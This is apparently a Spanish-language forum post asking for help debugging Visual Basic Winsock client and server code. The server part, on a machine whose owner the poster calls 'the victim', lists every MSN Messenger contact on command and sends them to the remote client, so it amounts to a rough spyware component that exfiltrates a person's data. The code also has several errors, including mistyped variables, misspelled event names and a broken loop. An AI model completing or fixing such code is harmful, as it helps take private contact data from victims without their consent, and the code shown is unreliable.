Estoy haciendo un programa que me permite desde el cliente al darle a un command1 este envie por el Ws(Winsock) un dato o orden por decirlo asi, ahora que en el server cuando llegue este cheke si es el dato, pongan que es car, entonces el server ve si es car entonces este lista TODOS los contactos del MSN de la persona en una variable y los envia al cliente y el cliente comprueba que ese dato enviado contiene los contactos y los lista en un listbox ahora... este code esta correcto?
CLIENTE
Código:
Private sub Command1_Click()
ws.SendData car
End sub
SERVER
Código:
Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact
ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub
CLIENTE
Código:
Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string
ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub
Sabiendo que lo que hace el code del server es enviar los contactos de la victima al cliente, este los esplitea y los lista en un listbox, ahora es correcto ese code?? y si no lo es en que me he equivocado y como lo podria solucionar?...